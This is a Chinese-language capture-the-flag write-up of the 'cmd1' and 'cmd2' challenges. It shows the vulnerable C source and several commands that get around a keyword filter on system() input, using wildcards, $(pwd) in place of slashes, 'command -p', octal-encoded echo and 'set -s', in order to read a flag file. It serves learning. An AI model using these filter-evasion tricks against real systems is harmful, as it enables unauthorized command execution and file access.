cmd1

linuxPATH入门教学
linux命令通配符
putenv函数讲解

这道题考察的是对于linux中shell的操作,还有PATH环境知识的理解。我参考了上面三篇文章,都写得很不错👍。这里我写两种解决方法

method 1

首先ssh登录,查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
printf("%s\n",getenv("PATH"));
system("ls");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}

程序将PATH环境设置成了一个不存在的路径导致不能直接使用命令,而且filter函数过滤掉了我们输入的一些字符。

这里我们可以先来测试一下PATH如果被改变会怎么样,下面贴测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char**argv)
{
//打印改变前的PATH,并且使用命令
printf("before PATH: %s\n",getenv("PATH"));
system(argv[1]);

//改变PATH,将其设置成一个不存在的路径
putenv("PATH=/aaa");

//再次打印路径
printf("after PATH: %s\n", getenv("PATH"));
system(argv[1]);
return 0;
}

编译后运行,这里我们测试的命令是 ls ,可以发现ls命令已经失效了,由于PATH的路径被临时改变,需要使用ls命令的绝对路径 /bin/ls

再次测试,使用命令的绝对路径 /bin/ls,可以发现又可以正常运行了

所以这道题我们需要输入cat命令的绝对路径 /bin/cat,但是问题又来了,flag这个词被过滤掉了,这就需要使用到统配符了,我们可以使用 “/bin/cat f*“ 或者 “/bin/cat fla?” 等命令来实现查看flag

1
2
./cmd1 '/bin/cat fla?'
./cmd1 '/bin/cat f*'

mommy now I get what PATH environment is for :)

method 2

第二种方法是我们采用shell编程方式,先创建一个文件,在利用程序打开我们的文件,在文件中,我们可以使用任意字符而不受限制

  • 首先现在服务器的/tmp/目录下创建一个我们自己使用的目录,然后在目录中创建我们的文件,一会儿需要用程序来调用

  • 在创建bash文件,文件名字里面千万不能带有过滤字符(我踩了这个坑😥),然后写入命令

  • 让程序调用文件,一样可以达到效果

cmd2

cmd2的考点与cmd1大同小异,只是这一次源码中过滤了更多的字符,需要更高的技巧才能绕过字符过滤检测拿到flag,下面贴源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}

extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}

可以看到这次程序直接过滤了’/‘,’.’之类的符号,连路径都不让使用💔 下面我提供几种种方法(网上看到总结的,学习一手)

利用pwd

利用$,我们可以进入到根目录,用$(pwd)来代替’/‘

1
2
3
cd /
/home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)f*'
/home/cmd2/cmd2 "\$(pwd)bin\$(pwd)cat \$(pwd)home\$(pwd)cmd2\$(pwd)f*"

上面两种写法都可以,这是linux中双引号和单引号的区别,下面这篇文章可以了解他们之间的区别

Linux中单引号双引号的区别与用法

command -p

1
2
'command -p' //这条命令会强制将环境变为默认值,就不用使用绝对路径
./cmd2 'command -p cat f*'

echo解析8进制与16进制

在网上看别人wp学的其实我觉得原理和第一个差不太多,这个是利用echo可以解析16进制和8进制表示的字符串(但是不能用参数 -e),具体情况要看系统版本。(我在网上看到他们在远程服务器上echo命令可以解释8进制,但我试了试就不行,还是记录下这个方法)

1
2
3
4
5
# 将 /bin/cat flag 转化为8进制
from pwn import *
cmd = "/bin/cat flag"
print("\\"+"\\".join([oct(i) for i in ordlist(cmd)]))
# \057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147
1
./cmd2 '$(echo "\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147")'

我的本地虚拟机就不可以直接用echo命令转,需要参数-e

set -s

具体的原理还没有在网上找到,等后面补充

Bash 脚本 set 命令教程

1
2
./cmd2 'set -s'
>/bin/cat flag

总结

  1. shell编程点都不会,其实上学期学了的,只是上网课一点都没有认真听。。想在想起来有点傻,后面需要补习下shell的知识

  2. linux的东西太灵活了。。其实上面的两道题还有几种其他的方法,但是我精力和时间有限,只收集了几种我感觉还可以的方法

  3. 我太菜了。。🐹